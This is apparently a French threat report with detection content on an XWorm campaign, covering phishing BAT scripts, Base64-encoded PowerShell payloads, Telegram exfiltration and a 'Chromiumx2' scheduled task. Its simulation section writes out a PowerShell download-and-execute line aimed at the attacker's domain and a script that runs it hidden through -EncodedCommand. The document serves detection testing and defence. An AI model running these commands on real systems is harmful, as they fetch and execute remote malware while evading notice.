Script Malveillant Apportant Plus de Malveillance
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Un email de phishing livre une pièce jointe malveillante contenant un script BAT qui lance PowerShell pour télécharger une charge utile encodée en Base64. Après décodage, la charge utile se résout à XWorm, un stealer .NET qui profile l’hôte et exfiltre les données collectées via un bot Telegram. La persistance est établie en créant une tâche planifiée qui exécute à plusieurs reprises l’exécutable déposé. L’opération repose sur plusieurs éléments d’infrastructure, y compris un leurre d’hébergement d’image factice et au moins une IP compromise utilisée pour la mise en scène de la charge utile.
Investigation
L’examen du script BAT a révélé une ligne de commande PowerShell qui récupère un fichier ressemblant à un PNG depuis un domaine contrôlé par l’attaquant. Le contenu Base64 intégré est ensuite nettoyé, inversé et décodé pour reconstruire l’exécutable .NET. L’analyse binaire a montré que le logiciel malveillant enregistre une tâche planifiée nommée Chromiumx2 et utilise l’API de Telegram pour le commandement et le contrôle et l’exfiltration de données. Les enquêteurs ont extrait des indicateurs de réseau clés, y compris le domaine d’hébergement, l’adresse IP associée, et le point de terminaison de l’API Telegram référencé pendant l’exécution.
Atténuation
Empêcher l’exécution de contenu BAT et PowerShell non confirmé provenant de pièces jointes d’emails ou de répertoires de téléchargement utilisateur. Appliquer une liste blanche d’applications pour restreindre la création de tâches planifiées et signaler les nouvelles tâches suspectes. Surveiller et, lorsque possible, restreindre l’accès sortant aux points de terminaison de l’API Telegram et bloquer les domaines malveillants identifiés aux couches DNS/proxy. Maintenir les détections d’endpoint à jour avec les nouveaux indicateurs observés et les modèles de téléchargement basés sur des scripts.
Réponse
Isoler les endpoints où la tâche planifiée Chromiumx2 ou Chromiumx2.exe est observée. Supprimer la tâche planifiée, effacer le binaire malveillant, et collecter les artefacts (script, charge utile décodée, XML de tâche, et journaux pertinents) pour la délimitation forensique. Explorer l’environnement pour le même nom de tâche, comportement de décodage PowerShell similaire, et trafic piloté par Telegram. Réinitialiser les identifiants potentiellement exposés et informer les utilisateurs de la pièce jointe de phishing pour réduire les exécutions répétées.
Flux d’Attaque
Détections
Abus possible de Telegram comme canal de commande et contrôle (via dns_query)
Voir
Processus suspect utilise une URL dans la ligne de commande (via cmdline)
Voir
Téléchargement ou téléchargement via Powershell (via cmdline)
Voir
Schtasks pointe vers un répertoire/script binaire suspect (via cmdline)
Voir
Chaînes Powershell suspectes (via powershell)
Voir
Fichiers suspects dans le profil utilisateur public (via file_event)
Voir
Chaînes Powershell suspectes (via cmdline)
Voir
Utilisation possible de Schtasks ou AT pour la persistance (via cmdline)
Voir
IOCs (SourceIP) à détecter : Script malveillant délivrant plus de malveillance
Voir
IOCs (DestinationIP) à détecter : Script malveillant délivrant plus de malveillance
Voir
Création de tâche planifiée pour la persistance de Chromiumx2 [Création de processus Windows]
Voir
Détecter le Fetch de Charge Utile Encodé en Base64 avec PowerShell [Powershell Windows]
Voir
Exécution de Simulation
Prérequis : Le contrôle préalable de télémétrie et de base doit avoir réussi.
-
Narratif de l’Attaque et Commandes :
L’attaquant veut télécharger et exécuter une charge utile malveillante depuis un serveur web compromis. Pour échapper à la détection par signature classique, il intègre toute la logique de téléchargement et exécution dans une seule chaîne Base64 et invoque PowerShell avec-EncodedCommand. La commande référence l’URL exacte que la règle de détection surveille (https://uniworldrivercruises-co.uk/optimized_MSI.png).-
Encoder la charge utile malveillante (un téléchargeur simple qui exécute le script reçu) :
$payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) Write-Host $b64B64 résultant (exemple) :
SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...(truncated). -
Exécuter la commande encodée :
powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...
Cette seule ligne génère la télémétrie exacte que la règle Sigma attend : un processus PowerShell, le
-EncodedCommanddrapeau, et l’URL malveillante à l’intérieur du bloc de script décodé. -
-
Script de Test de Régression :
#------------------------------------------------- # Script de régression pour déclencher la règle de détection #------------------------------------------------- # 1. Construire la charge utile malveillante $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Exécuter la charge utile via une commande PowerShell encodée Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" ` -WindowStyle Hidden -PassThru | Out-Null Write-Host "Commande encodée malveillante exécutée." #------------------------------------------------- -
Commandes de Nettoyage :
# Supprimer tout fichier transitoire (aucun attendu car la charge utile est diffusée directement) # Terminer tous les processus PowerShell cachés lancés par le test Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} | Stop-Process -Force Write-Host "Nettoyage terminé."